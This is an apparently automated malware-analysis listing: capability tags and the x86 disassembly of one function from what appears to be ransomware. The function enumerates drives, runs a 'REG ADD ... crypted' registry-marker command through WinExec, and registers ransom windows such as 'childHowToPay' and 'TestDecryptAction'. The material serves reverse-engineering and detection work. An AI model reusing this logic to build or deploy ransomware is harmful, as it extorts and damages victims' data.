Function at 0x403d90
Capabilities:
Create process on windows
Get disk information
Hide graphical window
Set registry value

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x44311b
mov eax, dword fs:[0]
push eax
sub esp, 0x674
mov eax, dword [0x45600c]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov ebx, dword [ebp + 8]
mov dword [ebp - 0x570], ebx
call fcn.0041c1f0
push 0x1b58
call dword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, 2
call fcn.00406f20
mov esi, 1
test eax, eax
je 0x403df7
lea ecx, [esi + 1]
call fcn.00406f20
cmp eax, 2
jne 0x403e05
mov edx, esi
call fcn.0041db50
mov ecx, esi
call fcn.0041d080
mov ecx, esi
call fcn.00406f20
test eax, eax
je 0x403e20
mov ecx, esi
call fcn.00406f20
cmp eax, 2
jne 0x404030
call fcn.0041e3f0
mov edx, 0x459740
sub edx, eax
nop dword [eax]
movzx ecx, word [eax]
lea eax, [eax + 2]
mov word [edx + eax - 2], cx
test cx, cx
jne 0x403e30
push 0x474
lea eax, [ebp - 0x568]
push 0
push eax
call fcn.00429a90
add esp, 0xc
call dword [sym.imp.KERNEL32.dll_GetLogicalDrives]
mov edi, eax
call fcn.0042dd5f
mov dword [ebp - 0x56c], eax
mov esi, 0x1a
nop
mov edx, edi
mov ecx, esi
shr edx, cl
and edx, 1
je 0x403edd
push 0
sub esp, 0x18
mov dword [ebp - 0x566], 0x3a
mov ecx, esp
mov dword [ebp - 0x574], esp
lea eax, [esi + 0x41]
mov word [ebp - 0x568], ax
xor eax, eax
push 0xffffffffffffffff
push eax
mov dword [ecx + 0x14], 7
mov dword [ecx + 0x10], 0
push 0x45a2e8
mov word [ecx], ax
call fcn.00422350
mov dword [ebp - 4], 0
mov dword [ebp - 4], 0xffffffff
mov edx, 1
lea ecx, [ebp - 0x568]
call fcn.004072b0
add esp, 0x1c
dec esi
test esi, esi
jg 0x403e70
call fcn.0042dd5f
mov ecx, eax
mov eax, 0x10624dd3
sub ecx, dword [ebp - 0x56c]
imul ecx
movups xmm0, xmmword [str.REG_ADD__HKEY_CURRENT_USERSOFTWARE___v__crypted___t_REG_SZ__d__1_]
movups xmmword [ebp - 0xf4], xmm0
mov eax, 0x88888889
movups xmm0, xmmword [0x44d568]
sar edx, 6
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
imul ecx
movups xmmword [ebp - 0xe4], xmm0
movups xmm0, xmmword [0x44d578]
push 0x8f
add edx, ecx
sar edx, 5
mov eax, edx
shr eax, 0x1f
add eax, edx
mov dword [0x459808], eax
mov ax, word [0x44d598]
mov word [ebp - 0xb4], ax
mov al, byte [0x44d59a]
movups xmmword [ebp - 0xd4], xmm0
mov byte [ebp - 0xb2], al
lea eax, [ebp - 0xb1]
movups xmm0, xmmword [0x44d588]
push 0
push eax
movups xmmword [ebp - 0xc4], xmm0
call fcn.00429a90
add esp, 0xc
mov dword [ebp - 0x56c], 0
push str.kernel32
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov ecx, dword [0x4505ac]
movq xmm0, qword [str.IsWow64Process]
mov dword [ebp - 0x18], ecx
mov cx, word [0x4505b0]
mov word [ebp - 0x14], cx
mov cl, byte [0x4505b2]
mov byte [ebp - 0x12], cl
lea ecx, [ebp - 0x20]
push ecx
push eax
movq qword [ebp - 0x20], xmm0
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov esi, eax
test esi, esi
je 0x403fde
lea eax, [ebp - 0x56c]
push eax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call esi
cmp dword [ebp - 0x56c], 0
je 0x404011
lea ecx, [ebp - 0xf4]
dec ecx
nop
mov al, byte [ecx + 1]
lea ecx, [ecx + 1]
test al, al
jne 0x403ff0
mov eax, dword [str.__reg:64]
mov dword [ecx], eax
mov eax, dword [0x44d5a0]
mov dword [ecx + 4], eax
mov al, byte [0x44d5a4]
mov byte [ecx + 8], al
push 0
lea eax, [ebp - 0xf4]
push eax
call dword [sym.imp.KERNEL32.dll_WinExec]
mov edx, 2
call fcn.0041db50
mov ebx, dword [ebp - 0x570]
mov ecx, dword [0x45a600]
call fcn.0041cec0
cmp eax, 3
je 0x40408e
mov edx, dword [0x45a600]
mov ecx, edx
lea esi, [ecx + 2]
nop dword [eax + eax]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x404050
sub ecx, esi
sar ecx, 1
cmp ecx, 0x1d
jb 0x40408e
mov esi, edx
mov ax, word [edx]
add edx, 2
test ax, ax
jne 0x404066
mov edi, 0x45a1b0
sub edx, esi
add edi, 0xfffffffe
nop dword [eax + eax]
mov ax, word [edi + 2]
add edi, 2
test ax, ax
jne 0x404080
jmp 0x4040bc
mov edx, dword [0x45a390]
mov esi, edx
mov ax, word [edx]
add edx, 2
test ax, ax
jne 0x404096
mov edi, 0x45a1b0
sub edx, esi
add edi, 0xfffffffe
nop dword [eax + eax]
mov ax, word [edi + 2]
add edi, 2
test ax, ax
jne 0x4040b0
mov ecx, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
call fcn.004065f0
mov edx, 0x45a148
sub edx, eax
nop word [eax + eax]
movzx ecx, word [eax]
lea eax, [eax + 2]
mov word [edx + eax - 2], cx
test cx, cx
jne 0x4040e0
mov esi, dword [sym.imp.USER32.dll_LoadCursorW]
push 0x7f00
push 0
mov dword [ebp - 0x5a4], 0x30
mov dword [ebp - 0x5a0], 0x20b
mov dword [ebp - 0x59c], 0x4044d0
mov dword [ebp - 0x598], 0
mov dword [ebp - 0x594], 0
mov dword [ebp - 0x590], ebx
mov dword [ebp - 0x58c], 0
call esi
mov ebx, dword [sym.imp.GDI32.dll_CreateSolidBrush]
push 0x3b3b00
mov dword [ebp - 0x588], eax
call ebx
mov edi, dword [sym.imp.USER32.dll_RegisterClassExW]
mov dword [ebp - 0x584], eax
lea eax, [ebp - 0x5a4]
push eax
mov dword [ebp - 0x580], 0
mov dword [ebp - 0x57c], 0x44d5a8
mov dword [ebp - 0x578], 0
call edi
test ax, ax
jne 0x404193
xor eax, eax
jmp 0x40449b
mov eax, dword [0x45a13c]
push 0x7f00
push 0
mov dword [ebp - 0x5d4], 0x30
mov dword [ebp - 0x5d0], 0xb
mov dword [ebp - 0x5cc], 0x4051b0
mov dword [ebp - 0x5c8], 0
mov dword [ebp - 0x5c4], 0
mov dword [ebp - 0x5c0], eax
mov dword [ebp - 0x5bc], 0
call esi
push 0x272700
mov dword [ebp - 0x5b8], eax
call ebx
mov dword [ebp - 0x5b4], eax
lea eax, [ebp - 0x5d4]
push eax
mov dword [ebp - 0x5b0], 0
mov dword [ebp - 0x5ac], str.childList
mov dword [ebp - 0x5a8], 0
call edi
mov eax, dword [0x45a13c]
push 0x7f00
push 0
mov dword [ebp - 0x604], 0x30
mov dword [ebp - 0x600], 0xb
mov dword [ebp - 0x5fc], 0x4057e0
mov dword [ebp - 0x5f8], 0
mov dword [ebp - 0x5f4], 0
mov dword [ebp - 0x5f0], eax
mov dword [ebp - 0x5ec], 0
call esi
push 0x272700
mov dword [ebp - 0x5e8], eax
call ebx
mov dword [ebp - 0x5e4], eax
lea eax, [ebp - 0x604]
push eax
mov dword [ebp - 0x5e0], 0
mov dword [ebp - 0x5dc], str.childTestDecrypt
mov dword [ebp - 0x5d8], 0
call edi
mov eax, dword [0x45a13c]
push 0x7f00
push 0
mov dword [ebp - 0x634], 0x30
mov dword [ebp - 0x630], 0xb
mov dword [ebp - 0x62c], 0x4060f0
mov dword [ebp - 0x628], 0
mov dword [ebp - 0x624], 0
mov dword [ebp - 0x620], eax
mov dword [ebp - 0x61c], 0
call esi
push 0x272700
mov dword [ebp - 0x618], eax
call ebx
mov dword [ebp - 0x614], eax
lea eax, [ebp - 0x634]
push eax
mov dword [ebp - 0x610], 0
mov dword [ebp - 0x60c], str.childHowToPay
mov dword [ebp - 0x608], 0
call edi
mov eax, dword [0x45a13c]
push 0x7f00
push 0
mov dword [ebp - 0x664], 0x30
mov dword [ebp - 0x660], 0xb
mov dword [ebp - 0x65c], 0x405f20
mov dword [ebp - 0x658], 0
mov dword [ebp - 0x654], 0
mov dword [ebp - 0x650], eax
mov dword [ebp - 0x64c], 0
call esi
mov dword [ebp - 0x648], eax
lea eax, [ebp - 0x664]
mov dword [ebp - 0x644], 0
mov dword [ebp - 0x640], 0
mov dword [ebp - 0x63c], str.TestDecryptAction
mov dword [ebp - 0x638], 0
push eax
call edi
mov ecx, 3
call fcn.00406f20
mov ecx, dword [0x45981c]
cmp eax, 1
push 0
push dword [ebp - 0x570]
mov eax, 1
push 0
push 0
push 0x258
push 0x384
push dword [0x45a3a4]
cmove ecx, eax
push dword [0x45a3a0]
mov dword [0x45981c], ecx
push 0x80000008
push str.System
push 0x44d5a8
push 0
call dword [sym.imp.USER32.dll_CreateWindowExW]
mov edi, eax
test edi, edi
je 0x40418c
mov esi, dword [sym.imp.USER32.dll_ShowWindow]
push 0
push edi
call esi
push 0xffffffffffffffec
push edi
call dword [sym.imp.USER32.dll_GetWindowLongW]
or eax, 0x80
push eax
push 0xffffffffffffffec
push edi
call dword [sym.imp.USER32.dll_SetWindowLongW]
push 5
push edi
call esi
mov esi, dword [sym.imp.USER32.dll_GetMessageW]
lea eax, [ebp - 0x680]
push 0
push 0
push 0
push eax
call esi
test eax, eax
je 0x404495
mov edi, dword [sym.imp.USER32.dll_TranslateMessage]
mov ebx, dword [sym.imp.USER32.dll_DispatchMessageW]
nop dword [eax]
lea eax, [ebp - 0x680]
push eax
call edi
lea eax, [ebp - 0x680]
push eax
call ebx
push 0
push 0
push 0
lea eax, [ebp - 0x680]
push eax
call esi
test eax, eax
jne 0x404470
mov eax, dword [ebp - 0x678]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.004261dc
mov esp, ebp
pop ebp
ret 0x10